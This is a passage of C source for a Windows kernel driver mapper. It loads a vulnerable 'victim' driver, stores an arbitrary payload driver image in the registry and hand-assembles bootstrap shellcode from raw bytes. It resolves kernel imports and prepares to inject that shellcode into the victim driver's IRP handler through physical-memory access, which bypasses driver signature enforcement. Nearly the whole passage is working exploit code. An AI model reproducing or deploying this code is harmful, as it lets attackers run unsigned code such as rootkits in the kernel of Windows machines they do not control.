*pfnIofCompleteRequest)( 66 | _In_ VOID *Irp, 67 | _In_ CCHAR PriorityBoost); 68 | 69 | typedef struct _FUNC_TABLE { 70 | pfnExAllocatePool ExAllocatePool; 71 | pfnExFreePool ExFreePool; 72 | pfnPsCreateSystemThread PsCreateSystemThread; 73 | pfnIofCompleteRequest IofCompleteRequest; 74 | pfnZwClose ZwClose; 75 | pfnZwOpenKey ZwOpenKey; 76 | pfnZwQueryValueKey ZwQueryValueKey; 77 | pfnDbgPrint DbgPrint; 78 | } FUNC_TABLE, *PFUNC_TABLE; 79 | 80 | #ifdef _DEBUG 81 | #define BOOTSTRAPCODE_SIZE 2048 82 | #else 83 | #define BOOTSTRAPCODE_SIZE 944 84 | #endif 85 | 86 | //sizeof = 1024 in Release 87 | // WARNING: shellcode DOESN'T WORK in DEBUG 88 | typedef struct _SHELLCODE { 89 | BYTE InitCode[16]; 90 | BYTE BootstrapCode[BOOTSTRAPCODE_SIZE]; 91 | FUNC_TABLE Import; 92 | } SHELLCODE, *PSHELLCODE; 93 | 94 | SHELLCODE *g_ShellCode; 95 | 96 | /* 97 | * VictimLoadUnload 98 | * 99 | * Purpose: 100 | * 101 | * Load/Unload driver using Native API. 102 | * This routine will try to force unload driver if Force parameter set to TRUE. 103 | * 104 | */ 105 | BOOL VictimLoadUnload( 106 | _In_ LPWSTR Name, 107 | _In_ LPWSTR ImagePath, 108 | _In_ BOOL Force, 109 | _In_ BOOL Unload, 110 | _Out_ NTSTATUS *ErrorStatus) 111 | { 112 | BOOLEAN bWasEnabled; 113 | ULONG Data; 114 | NTSTATUS status; 115 | HANDLE hKey = NULL; 116 | OBJECT_ATTRIBUTES obja; 117 | UNICODE_STRING str; 118 | WCHAR szKey[MAX_PATH]; 119 | 120 | _strcpy(szKey, SCM_DB_KEY); 121 | _strcat(szKey, Name); 122 | RtlInitUnicodeString(&str, szKey); 123 | InitializeObjectAttributes(&obja, &str, OBJ_CASE_INSENSITIVE, 0, 0); 124 | 125 | status = NtCreateKey(&hKey, KEY_ALL_ACCESS, 126 | &obja, 0, 127 | NULL, REG_OPTION_NON_VOLATILE, 128 | NULL); 129 | 130 | if (NT_SUCCESS(status)) { 131 | 132 | Data = SERVICE_ERROR_NORMAL; 133 | RtlInitUnicodeString(&str, L"ErrorControl"); 134 | status = NtSetValueKey(hKey, &str, 0, REG_DWORD, &Data, sizeof(ULONG)); 135 | if (NT_SUCCESS(status)) { 136 | 137 | Data = SERVICE_DEMAND_START; 138 | RtlInitUnicodeString(&str, L"Start"); 139 | status = NtSetValueKey(hKey, &str, 0, REG_DWORD, &Data, sizeof(ULONG)); 140 | if (NT_SUCCESS(status)) { 141 | 142 | Data = SERVICE_KERNEL_DRIVER; 143 | RtlInitUnicodeString(&str, L"Type"); 144 | status = NtSetValueKey(hKey, &str, 0, REG_DWORD, &Data, sizeof(ULONG)); 145 | if (NT_SUCCESS(status)) { 146 | 147 | RtlInitUnicodeString(&str, L"ImagePath"); 148 | Data = (ULONG)((1 + _strlen(ImagePath)) * sizeof(WCHAR)); 149 | status = NtSetValueKey(hKey, &str, 0, REG_SZ, ImagePath, Data); 150 | if (NT_SUCCESS(status)) { 151 | 152 | status = RtlAdjustPrivilege(SE_LOAD_DRIVER_PRIVILEGE, 153 | TRUE, FALSE, &bWasEnabled); 154 | if (NT_SUCCESS(status)) { 155 | 156 | RtlInitUnicodeString(&str, szKey); 157 | 158 | if (Unload) { 159 | status = NtUnloadDriver(&str); 160 | } 161 | else { 162 | status = NtLoadDriver(&str); 163 | 164 | if ((status == STATUS_IMAGE_ALREADY_LOADED) || 165 | (status == STATUS_OBJECT_NAME_COLLISION)) { 166 | 167 | if (Force) { 168 | status = NtUnloadDriver(&str); 169 | if (NT_SUCCESS(status)) { 170 | status = NtLoadDriver(&str); 171 | } 172 | } 173 | } 174 | } 175 | RtlAdjustPrivilege(SE_LOAD_DRIVER_PRIVILEGE, FALSE, FALSE, &bWasEnabled); 176 | } 177 | } 178 | } 179 | } 180 | } 181 | NtYieldExecution(); 182 | NtDeleteKey(hKey); 183 | NtClose(hKey); 184 | } 185 | 186 | *ErrorStatus = status; 187 | return NT_SUCCESS(status); 188 | } 189 | 190 | /* 191 | * ExAllocatePoolTest 192 | * 193 | * Purpose: 194 | * 195 | * User mode test routine. 196 | * 197 | */ 198 | PVOID NTAPI ExAllocatePoolTest( 199 | _In_ POOL_TYPE PoolType, 200 | _In_ SIZE_T NumberOfBytes) 201 | { 202 | PVOID P; 203 | UNREFERENCED_PARAMETER(PoolType); 204 | 205 | P = VirtualAlloc(NULL, NumberOfBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 206 | if (P) RtlSecureZeroMemory(P, NumberOfBytes); 207 | 208 | return P; 209 | } 210 | 211 | /* 212 | * ExFreePoolTest 213 | * 214 | * Purpose: 215 | * 216 | * User mode test routine. 217 | * 218 | */ 219 | VOID NTAPI ExFreePoolTest( 220 | _In_ PVOID P) 221 | { 222 | VirtualFree(P, 0, MEM_RELEASE); 223 | } 224 | 225 | /* 226 | * IofCompleteRequestTest 227 | * 228 | * Purpose: 229 | * 230 | * User mode test routine. 231 | */ 232 | VOID IofCompleteRequestTest( 233 | _In_ VOID *Irp, 234 | _In_ CCHAR PriorityBoost) 235 | { 236 | UNREFERENCED_PARAMETER(Irp); 237 | UNREFERENCED_PARAMETER(PriorityBoost); 238 | return; 239 | } 240 | 241 | /* 242 | * PsCreateSystemThreadTest 243 | * 244 | * Purpose: 245 | * 246 | * User mode test routine. 247 | * 248 | */ 249 | NTSTATUS NTAPI PsCreateSystemThreadTest( 250 | _Out_ PHANDLE ThreadHandle, 251 | _In_ ULONG DesiredAccess, 252 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, 253 | _In_opt_ HANDLE ProcessHandle, 254 | _Out_opt_ PCLIENT_ID ClientId, 255 | _In_ PKSTART_ROUTINE StartRoutine, 256 | _In_opt_ PVOID StartContext) 257 | { 258 | UNREFERENCED_PARAMETER(ThreadHandle); 259 | UNREFERENCED_PARAMETER(DesiredAccess); 260 | UNREFERENCED_PARAMETER(ObjectAttributes); 261 | UNREFERENCED_PARAMETER(ProcessHandle); 262 | UNREFERENCED_PARAMETER(ClientId); 263 | UNREFERENCED_PARAMETER(StartRoutine); 264 | UNREFERENCED_PARAMETER(StartContext); 265 | return STATUS_SUCCESS; 266 | } 267 | 268 | IO_STACK_LOCATION g_testIostl; 269 | 270 | /* 271 | * IoGetCurrentIrpStackLocationTest 272 | * 273 | * Purpose: 274 | * 275 | * User mode test routine. 276 | * 277 | */ 278 | FORCEINLINE 279 | PIO_STACK_LOCATION 280 | IoGetCurrentIrpStackLocationTest( 281 | _In_ PIRP Irp 282 | ) 283 | { 284 | UNREFERENCED_PARAMETER(Irp); 285 | g_testIostl.MajorFunction = IRP_MJ_CREATE; 286 | return &g_testIostl; 287 | } 288 | 289 | 290 | /* 291 | * SizeOfProc 292 | * 293 | * Purpose: 294 | * 295 | * Very simplified. Return size of procedure when first ret meet. 296 | * 297 | */ 298 | ULONG SizeOfProc( 299 | _In_ PBYTE FunctionPtr) 300 | { 301 | ULONG c = 0; 302 | UCHAR *p; 303 | hde64s hs; 304 | 305 | __try { 306 | 307 | do { 308 | p = FunctionPtr + c; 309 | hde64_disasm(p, &hs); 310 | if (hs.flags & F_ERROR) 311 | break; 312 | c += hs.len; 313 | 314 | } while (*p != 0xC3); 315 | 316 | } 317 | __except (EXCEPTION_EXECUTE_HANDLER) { 318 | return 0; 319 | } 320 | return c; 321 | } 322 | 323 | /* 324 | * FakeDispatchRoutine 325 | * 326 | * Purpose: 327 | * 328 | * Bootstrap shellcode. 329 | * Read image from registry, process relocs and run it. 330 | * 331 | * IRQL: PASSIVE_LEVEL 332 | * 333 | */ 334 | NTSTATUS NTAPI FakeDispatchRoutine( 335 | _In_ struct _DEVICE_OBJECT *DeviceObject, 336 | _Inout_ struct _IRP *Irp, 337 | _In_ PSHELLCODE ShellCode) 338 | { 339 | NTSTATUS status; 340 | ULONG returnLength = 0, isz, dummy; 341 | HANDLE hKey = NULL, hThread; 342 | UNICODE_STRING str; 343 | OBJECT_ATTRIBUTES obja; 344 | KEY_VALUE_PARTIAL_INFORMATION keyinfo; 345 | KEY_VALUE_PARTIAL_INFORMATION *pkeyinfo; 346 | ULONG_PTR Image, exbuffer, pos; 347 | 348 | PIO_STACK_LOCATION StackLocation; 349 | 350 | PIMAGE_DOS_HEADER dosh; 351 | PIMAGE_FILE_HEADER fileh; 352 | PIMAGE_OPTIONAL_HEADER popth; 353 | PIMAGE_BASE_RELOCATION rel; 354 | 355 | DWORD_PTR delta; 356 | LPWORD chains; 357 | DWORD c, p, rsz; 358 | 359 | WCHAR szRegistryKey[] = { 360 | L'\\', L'R', L'E', L'G', L'I', L'S', L'T', L'R', L'Y', L'\\',\ 361 | L'M', L'A', L'C', L'H', L'I', L'N', L'E', 0 362 | }; 363 | 364 | USHORT cbRegistryKey = sizeof(szRegistryKey) - sizeof(WCHAR); 365 | 366 | WCHAR szValueKey[] = { L'~', 0 }; 367 | 368 | USHORT cbValueKey = sizeof(szValueKey) - sizeof(WCHAR); 369 | 370 | UNREFERENCED_PARAMETER(DeviceObject); 371 | 372 | #ifdef _DEBUG 373 | StackLocation = IoGetCurrentIrpStackLocationTest(Irp); 374 | #else 375 | StackLocation = IoGetCurrentIrpStackLocation(Irp); 376 | #endif 377 | 378 | if (StackLocation->MajorFunction == IRP_MJ_CREATE) { 379 | 380 | str.Buffer = szRegistryKey; 381 | str.Length = cbRegistryKey; 382 | str.MaximumLength = str.Length + sizeof(UNICODE_NULL); 383 | 384 | #ifdef _DEBUG 385 | InitializeObjectAttributes(&obja, &str, OBJ_CASE_INSENSITIVE, 0, 0); 386 | #else 387 | InitializeObjectAttributes(&obja, &str, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, 0); 388 | #endif 389 | 390 | status = ShellCode->Import.ZwOpenKey(&hKey, KEY_READ, &obja); 391 | if (NT_SUCCESS(status)) { 392 | 393 | str.Buffer = szValueKey; 394 | str.Length = cbValueKey; 395 | str.MaximumLength = str.Length + sizeof(UNICODE_NULL); 396 | 397 | status = ShellCode->Import.ZwQueryValueKey(hKey, &str, KeyValuePartialInformation, 398 | &keyinfo, sizeof(KEY_VALUE_PARTIAL_INFORMATION), &returnLength); 399 | 400 | if ((status == STATUS_BUFFER_OVERFLOW) || 401 | (status == STATUS_BUFFER_TOO_SMALL)) 402 | { 403 | pkeyinfo = (KEY_VALUE_PARTIAL_INFORMATION*)ShellCode->Import.ExAllocatePool(NonPagedPool, returnLength); 404 | if (pkeyinfo) { 405 | 406 | status = ShellCode->Import.ZwQueryValueKey(hKey, &str, KeyValuePartialInformation, 407 | (PVOID)pkeyinfo, returnLength, &dummy); 408 | if (NT_SUCCESS(status)) { 409 | 410 | Image = (ULONG_PTR)&pkeyinfo->Data[0]; 411 | dosh = (PIMAGE_DOS_HEADER)Image; 412 | fileh = (PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew); 413 | popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER)); 414 | isz = popth->SizeOfImage; 415 | 416 | exbuffer = (ULONG_PTR)ShellCode->Import.ExAllocatePool( 417 | NonPagedPool, isz + PAGE_SIZE) + PAGE_SIZE; 418 | if (exbuffer != 0) { 419 | 420 | exbuffer &= ~(PAGE_SIZE - 1); 421 | 422 | if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) 423 | if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0) 424 | { 425 | rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image + 426 | popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); 427 | 428 | rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; 429 | delta = (DWORD_PTR)exbuffer - popth->ImageBase; 430 | c = 0; 431 | 432 | while (c < rsz) { 433 | p = sizeof(IMAGE_BASE_RELOCATION); 434 | chains = (LPWORD)((PBYTE)rel + p); 435 | 436 | while (p < rel->SizeOfBlock) { 437 | 438 | switch (*chains >> 12) { 439 | case IMAGE_REL_BASED_HIGHLOW: 440 | *(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta; 441 | break; 442 | case IMAGE_REL_BASED_DIR64: 443 | *(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta; 444 | break; 445 | } 446 | 447 | chains++; 448 | p += sizeof(WORD); 449 | } 450 | 451 | c += rel->SizeOfBlock; 452 | rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock); 453 | } 454 | } 455 | 456 | isz >>= 3; 457 | for (pos = 0; pos < isz; pos++) 458 | ((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos]; 459 | 460 | hThread = NULL; 461 | InitializeObjectAttributes(&obja, NULL, OBJ_KERNEL_HANDLE, NULL, NULL); 462 | if (NT_SUCCESS(ShellCode->Import.PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, &obja, NULL, NULL, 463 | (PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint), NULL))) 464 | { 465 | ShellCode->Import.ZwClose(hThread); 466 | } 467 | } 468 | } 469 | ShellCode->Import.ExFreePool(pkeyinfo); 470 | } 471 | } 472 | ShellCode->Import.ZwClose(hKey); 473 | } 474 | } 475 | ShellCode->Import.IofCompleteRequest(Irp, 0); 476 | return STATUS_SUCCESS; 477 | } 478 | 479 | /* 480 | * FakeDispatchRoutine2 481 | * 482 | * Purpose: 483 | * 484 | * Bootstrap test shellcode. 485 | * 486 | * IRQL: PASSIVE_LEVEL 487 | * 488 | */ 489 | NTSTATUS NTAPI FakeDispatchRoutine2( 490 | _In_ struct _DEVICE_OBJECT *DeviceObject, 491 | _Inout_ struct _IRP *Irp, 492 | _In_ PSHELLCODE ShellCode) 493 | { 494 | PIO_STACK_LOCATION StackLocation; 495 | CHAR szTest1[] = { 496 | 'O', 'p', 'e', 'n', '\n', 0 497 | }; 498 | CHAR szTest2[] = { 499 | 'C', 'l', 'o', 's', 'e', '\n', 0 500 | }; 501 | 502 | UNREFERENCED_PARAMETER(DeviceObject); 503 | 504 | StackLocation = IoGetCurrentIrpStackLocation(Irp); 505 | 506 | if (StackLocation->MajorFunction == IRP_MJ_CREATE) { 507 | ShellCode->Import.DbgPrint(szTest1); 508 | } 509 | else { 510 | if (StackLocation->MajorFunction == IRP_MJ_CLOSE) { 511 | ShellCode->Import.DbgPrint(szTest2); 512 | } 513 | } 514 | ShellCode->Import.IofCompleteRequest(Irp, 0); 515 | return STATUS_SUCCESS; 516 | } 517 | 518 | /* 519 | * StorePayload 520 | * 521 | * Purpose: 522 | * 523 | * Load input file as image, resolve import and store result in registry. 524 | * 525 | */ 526 | BOOL StorePayload( 527 | _In_ LPWSTR lpFileName, 528 | _In_ ULONG_PTR KernelImage, 529 | _In_ ULONG_PTR KernelBase) 530 | { 531 | BOOL bSuccess = FALSE; 532 | HKEY hKey = NULL; 533 | PVOID DataBuffer = NULL; 534 | LRESULT lResult; 535 | 536 | NTSTATUS status; 537 | ULONG isz; 538 | PVOID Image = NULL; 539 | PIMAGE_NT_HEADERS FileHeader; 540 | UNICODE_STRING ustr; 541 | WCHAR szMsg[100]; 542 | 543 | ULONG DllCharacteristics = IMAGE_FILE_EXECUTABLE_IMAGE; 544 | 545 | // 546 | // Map input file as image. 547 | // 548 | RtlInitUnicodeString(&ustr, lpFileName); 549 | status = LdrLoadDll(NULL, &DllCharacteristics, &ustr, &Image); 550 | if ((!NT_SUCCESS(status)) || (Image == NULL)) { 551 | supPrintText(TEXT("\r\n[!] Error while loading input driver file")); 552 | return FALSE; 553 | } 554 | else { 555 | _strcpy(szMsg, TEXT("\r\n[+] Input driver file loaded at 0x")); 556 | u64tohex((ULONG_PTR)Image, _strend(szMsg)); 557 | supPrintText(szMsg); 558 | } 559 | 560 | FileHeader = RtlImageNtHeader(Image); 561 | if (FileHeader == NULL) { 562 | supPrintText(TEXT("\r\n[!] Error, invalid NT header")); 563 | return FALSE; 564 | } 565 | 566 | // 567 | // Resolve import (ntoskrnl only) and write buffer to registry. 568 | // 569 | isz = FileHeader->OptionalHeader.SizeOfImage; 570 | 571 | DataBuffer = supHeapAlloc(isz); 572 | if (DataBuffer) { 573 | RtlCopyMemory(DataBuffer, Image, isz); 574 | 575 | supPrintText(TEXT("\r\n[+] Resolving kernel import for input driver")); 576 | ldrResolveKernelImport((ULONG_PTR)DataBuffer, KernelImage, KernelBase); 577 | 578 | lResult = RegOpenKey(HKEY_LOCAL_MACHINE, NULL, &hKey); 579 | if ((lResult == ERROR_SUCCESS) && (hKey != NULL)) { 580 | 581 | lResult = RegSetKeyValue(hKey, NULL, TEXT("~"), REG_BINARY, 582 | DataBuffer, isz); 583 | 584 | bSuccess = (lResult == ERROR_SUCCESS); 585 | 586 | RegCloseKey(hKey); 587 | } 588 | supHeapFree(DataBuffer); 589 | } 590 | return bSuccess; 591 | } 592 | 593 | /* 594 | * SetupShellCode 595 | * 596 | * Purpose: 597 | * 598 | * Construct shellcode data, init code. 599 | * 600 | */ 601 | VOID SetupShellCode( 602 | _In_ LPWSTR lpDriverFileName) 603 | { 604 | BOOL bCond = FALSE; 605 | NTSTATUS status; 606 | ULONG ProcedureSize; 607 | UNICODE_STRING ustr; 608 | 609 | ULONG_PTR KernelBase, KernelImage = 0, ConvertedFuncPtr = 0; 610 | 611 | WCHAR szMsg[200]; 612 | 613 | do { 614 | 615 | KernelBase = supGetNtOsBase(); 616 | if (KernelBase) { 617 | _strcpy(szMsg, TEXT("\r\n[+] Loaded ntoskrnl base = 0x")); 618 | u64tohex(KernelBase, _strend(szMsg)); 619 | supPrintText(szMsg); 620 | } 621 | else { 622 | supPrintText(TEXT("\r\n[!] Cannot query ntoskrnl loaded base, abort")); 623 | break; 624 | } 625 | 626 | // 627 | // Preload ntoskrnl.exe 628 | // 629 | RtlInitUnicodeString(&ustr, L"ntoskrnl.exe"); 630 | status = LdrLoadDll(NULL, NULL, &ustr, (PVOID)&KernelImage); 631 | 632 | if ((!NT_SUCCESS(status)) || (KernelImage == 0)) { 633 | supPrintText(TEXT("\r\n[!] Error while loading ntoskrnl.exe")); 634 | break; 635 | } 636 | else { 637 | _strcpy(szMsg, TEXT("\r\n[+] Ntoskrnl.exe mapped at 0x")); 638 | u64tohex(KernelImage, _strend(szMsg)); 639 | supPrintText(szMsg); 640 | } 641 | 642 | // 643 | // Store input file in registry. 644 | // 645 | if (!StorePayload(lpDriverFileName, KernelImage, KernelBase)) { 646 | supPrintText(TEXT("\r\n[!] Cannot write payload to registry, abort")); 647 | break; 648 | } 649 | 650 | // 651 | // Allocate shellcode. 652 | // 653 | g_ShellCode = (SHELLCODE*)VirtualAlloc(NULL, sizeof(SHELLCODE), 654 | MEM_RESERVE | MEM_COMMIT, 655 | PAGE_EXECUTE_READWRITE); 656 | 657 | if (g_ShellCode == NULL) 658 | break; 659 | 660 | RtlSecureZeroMemory(g_ShellCode, sizeof(SHELLCODE)); 661 | 662 | // 663 | // Build initial code part. 664 | // 665 | // 00 call +5 666 | // 05 pop r8 667 | // 07 sub r8, 5 668 | // 0B jmps 10 669 | // 0D int 3 670 | // 0E int 3 671 | // 0F int 3 672 | // 10 code 673 | 674 | 675 | //int 3 676 | memset(g_ShellCode->InitCode, 0xCC, sizeof(g_ShellCode->InitCode)); 677 | 678 | //call +5 679 | g_ShellCode->InitCode[0x0] = 0xE8; 680 | g_ShellCode->InitCode[0x1] = 0x00; 681 | g_ShellCode->InitCode[0x2] = 0x00; 682 | g_ShellCode->InitCode[0x3] = 0x00; 683 | g_ShellCode->InitCode[0x4] = 0x00; 684 | 685 | //pop r8 686 | g_ShellCode->InitCode[0x5] = 0x41; 687 | g_ShellCode->InitCode[0x6] = 0x58; 688 | 689 | //sub r8, 5 690 | g_ShellCode->InitCode[0x7] = 0x49; 691 | g_ShellCode->InitCode[0x8] = 0x83; 692 | g_ShellCode->InitCode[0x9] = 0xE8; 693 | g_ShellCode->InitCode[0xA] = 0x05; 694 | 695 | // jmps 696 | g_ShellCode->InitCode[0xB] = 0xEB; 697 | g_ShellCode->InitCode[0xC] = 0x03; 698 | 699 | // 700 | // Remember function pointers. 701 | // 702 | 703 | // 704 | // 1. ExAllocatePoolWithTag 705 | // 706 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "ExAllocatePool"); 707 | if (ConvertedFuncPtr == 0) { 708 | supPrintText(TEXT("\r\n[!] Error, ExAllocatePool address not found")); 709 | break; 710 | } 711 | else { 712 | _strcpy(szMsg, TEXT("\r\n[+] ExAllocatePool 0x")); 713 | u64tohex(ConvertedFuncPtr, _strend(szMsg)); 714 | supPrintText(szMsg); 715 | } 716 | g_ShellCode->Import.ExAllocatePool = (pfnExAllocatePool)ConvertedFuncPtr; 717 | 718 | // 719 | // 2. ExFreePoolWithTag 720 | // 721 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "ExFreePool"); 722 | if (ConvertedFuncPtr == 0) { 723 | supPrintText(TEXT("\r\n[!] Error, ExFreePool address not found")); 724 | break; 725 | } 726 | else { 727 | _strcpy(szMsg, TEXT("\r\n[+] ExFreePool 0x")); 728 | u64tohex(ConvertedFuncPtr, _strend(szMsg)); 729 | supPrintText(szMsg); 730 | } 731 | g_ShellCode->Import.ExFreePool = (pfnExFreePool)ConvertedFuncPtr; 732 | 733 | // 734 | // 3. PsCreateSystemThread 735 | // 736 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "PsCreateSystemThread"); 737 | if (ConvertedFuncPtr == 0) { 738 | supPrintText(TEXT("\r\n[!] Error, PsCreateSystemThread address not found")); 739 | break; 740 | } 741 | else { 742 | _strcpy(szMsg, TEXT("\r\n[+] PsCreateSystemThread 0x")); 743 | u64tohex(ConvertedFuncPtr, _strend(szMsg)); 744 | supPrintText(szMsg); 745 | } 746 | g_ShellCode->Import.PsCreateSystemThread = (pfnPsCreateSystemThread)ConvertedFuncPtr; 747 | 748 | // 749 | // 4. IofCompleteRequest 750 | // 751 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "IofCompleteRequest"); 752 | if (ConvertedFuncPtr == 0) { 753 | supPrintText(TEXT("\r\n[!] Error, IofCompleteRequest address not found")); 754 | break; 755 | } 756 | else { 757 | _strcpy(szMsg, TEXT("\r\n[+] IofCompleteRequest 0x")); 758 | u64tohex(ConvertedFuncPtr, _strend(szMsg)); 759 | supPrintText(szMsg); 760 | } 761 | g_ShellCode->Import.IofCompleteRequest = (pfnIofCompleteRequest)ConvertedFuncPtr; 762 | 763 | // 764 | // 5. ZwClose 765 | // 766 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "ZwClose"); 767 | if (ConvertedFuncPtr == 0) { 768 | supPrintText(TEXT("\r\n[!] Error, ZwClose address not found")); 769 | break; 770 | } 771 | else { 772 | _strcpy(szMsg, TEXT("\r\n[+] ZwClose 0x")); 773 | u64tohex(ConvertedFuncPtr, _strend(szMsg)); 774 | supPrintText(szMsg); 775 | } 776 | g_ShellCode->Import.ZwClose = (pfnZwClose)ConvertedFuncPtr; 777 | 778 | // 779 | // 6. ZwOpenKey 780 | // 781 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "ZwOpenKey"); 782 | if (ConvertedFuncPtr == 0) { 783 | supPrintText(TEXT("\r\n[!] Error, ZwOpenKey address not found")); 784 | break; 785 | } 786 | else { 787 | _strcpy(szMsg, TEXT("\r\n[+] ZwOpenKey 0x")); 788 | u64tohex(ConvertedFuncPtr, _strend(szMsg)); 789 | supPrintText(szMsg); 790 | } 791 | g_ShellCode->Import.ZwOpenKey = (pfnZwOpenKey)ConvertedFuncPtr; 792 | 793 | // 794 | // 7. ZwQueryValueKey 795 | // 796 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "ZwQueryValueKey"); 797 | if (ConvertedFuncPtr == 0) { 798 | supPrintText(TEXT("\r\n[!] Error, ZwQueryValueKey address not found")); 799 | break; 800 | } 801 | else { 802 | _strcpy(szMsg, TEXT("\r\n[+] ZwQueryValueKey 0x")); 803 | u64tohex(ConvertedFuncPtr, _strend(szMsg)); 804 | supPrintText(szMsg); 805 | } 806 | g_ShellCode->Import.ZwQueryValueKey = (pfnZwQueryValueKey)ConvertedFuncPtr; 807 | 808 | // 809 | // 8. DbgPrint (unused in Release build) 810 | // 811 | ConvertedFuncPtr = ldrGetProcAddress(KernelBase, KernelImage, "DbgPrint"); 812 | if (ConvertedFuncPtr == 0) { 813 | supPrintText(TEXT("\r\n[!] Error, DbgPrint address not found")); 814 | break; 815 | } 816 | else { 817 | _strcpy(szMsg, TEXT("\r\n[+] DbgPrint 0x")); 818 | u64tohex(ConvertedFuncPtr, _strend(szMsg)); 819 | supPrintText(szMsg); 820 | } 821 | g_ShellCode->Import.DbgPrint = (pfnDbgPrint)ConvertedFuncPtr; 822 | 823 | // 824 | // Shellcode test, unused in Release build. 825 | // 826 | #ifdef _DEBUG 827 | g_ShellCode->Import.ZwClose = &NtClose; 828 | g_ShellCode->Import.ZwOpenKey = &NtOpenKey; 829 | g_ShellCode->Import.ZwQueryValueKey = &NtQueryValueKey; 830 | g_ShellCode->Import.ExAllocatePool = &ExAllocatePoolTest; 831 | g_ShellCode->Import.ExFreePool = &ExFreePoolTest; 832 | g_ShellCode->Import.IofCompleteRequest = &IofCompleteRequestTest; 833 | g_ShellCode->Import.PsCreateSystemThread = &PsCreateSystemThreadTest; 834 | 835 | FakeDispatchRoutine(NULL, NULL, g_ShellCode); 836 | ExitProcess(0); 837 | #endif 838 | 839 | ProcedureSize = SizeOfProc((PBYTE)FakeDispatchRoutine); 840 | if (ProcedureSize != 0) { 841 | 842 | _strcpy(szMsg, TEXT("\r\n[+] Bootstrap code size = 0x")); 843 | ultohex(ProcedureSize, _strend(szMsg)); 844 | supPrintText(szMsg); 845 | 846 | if (ProcedureSize > sizeof(g_ShellCode->BootstrapCode)) { 847 | _strcpy(szMsg, TEXT("\r\n[!] Bootstrap code size exceeds limit, abort")); 848 | supPrintText(szMsg); 849 | break; 850 | } 851 | memcpy(g_ShellCode->BootstrapCode, FakeDispatchRoutine, ProcedureSize); 852 | //supWriteBufferToFile(L"out.bin", g_ShellCode->BootstrapCode, ProcedureSize); 853 | } 854 | 855 | //((void(*)())g_ShellCode->InitCode)(); 856 | 857 | } while (bCond); 858 | } 859 | 860 | /* 861 | * MapDriver 862 | * 863 | * Purpose: 864 | * 865 | * Load input file into kernel via shellcode mapped through 866 | * physical memory injection in victim driver IRP handler. 867 | * 868 | */ 869 | BOOL MapDriver( 870 | _In_ LPWSTR lpDriverFileName) 871 | { 872 | NTSTATUS status; 873 | ULONG NumberOfAttempts; 874 | HANDLE hObject = NULL; 875 | ULONG_PTR Address, Page, physAddressStart = 0, physAddressEnd = 0; 876 | 877 | WCHAR szBuffer[MAX_PATH * 2]; 878 | WCHAR szDriverFile[MAX_PATH * 3]; 879 | 880 | DRIVER_OBJECT drvObject; 881 | 882 | // 883 | // Check files availability. 884 | // 885 | if (!RtlDoesFileExists_U(lpDriverFileName)) { 886 | supPrintText(TEXT("\r\n[!] Input driver file not found, abort")); 887 | return FALSE; 888 | } 889 | 890 | _strcpy(szBuffer, NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath.Buffer); 891 | _strcat(szBuffer, MR_PE152); 892 | _strcat(szBuffer, TEXT(".sys")); 893 | 894 | if (!RtlDoesFileExists_U(szBuffer)) { 895 | supPrintText(TEXT("\r\n[!] Victim driver file not found in the current directory, abort")); 896 | return FALSE; 897 | } 898 | 899 | szDriverFile[0] = L'\\'; 900 | szDriverFile[1] = L'?'; 901 | szDriverFile[2] = L'?'; 902 | szDriverFile[3] = L'\\'; 903 | szDriverFile[4] = 0; 904 | _strcpy(&szDriverFile[4], szBuffer); 905 | 906 | NumberOfAttempts = 1; 907 | 908 | Reload: 909 | 910 | // 911 | // Load victim driver (force unload if previously loaded). 912 | // 913 | status = STATUS_UNSUCCESSFUL; 914 | if (!VictimLoadUnload(MR_PE152, szDriverFile, TRUE, FALSE, &status)) { 915 | RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); 916 | _strcpy(szBuffer, TEXT("\r\n[!] Cannot load victim driver, status = 0x")); 917 | ultohex(status, _strend(szBuffer)); 918 | supPrintText(szBuffer); 919 | return FALSE; 920 | } 921 | supPrintText(TEXT("\r\n[+] Victim driver loaded")); 922 | 923 | // 924 | // Locate DRIVER_OBJECT of the victim driver. 925 | // 926 | Address = (ULONG_PTR)ObQueryObject(L"\\Driver", MR_PE152); 927 | if (Address == 0) { 928 | supPrintText(TEXT("\r\n[!] Cannot query victim DRIVER_OBJECT address, abort")); 929 | return FALSE; 930 | } 931 | 932 | RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); 933 | _strcpy(szBuffer, TEXT("\r\n[+] DRIVER_OBJECT 0x")); 934 | u64tohex(Address, _strend(szBuffer)); 935 | supPrintText(szBuffer); 936 | 937 | // 938 | // Locate IRP_MJ_DEVICE_CONTROL routine. 939 | // 940 | RtlSecureZeroMemory(&drvObject, sizeof(DRIVER_OBJECT)); 941 | if (!cpuz_readVirtualMemory(Address, &drvObject, sizeof(DRIVER_OBJECT))) { 942 | supPrintText(TEXT("\r\n[!] Cannot read victim DRIVER_OBJECT, abort")); 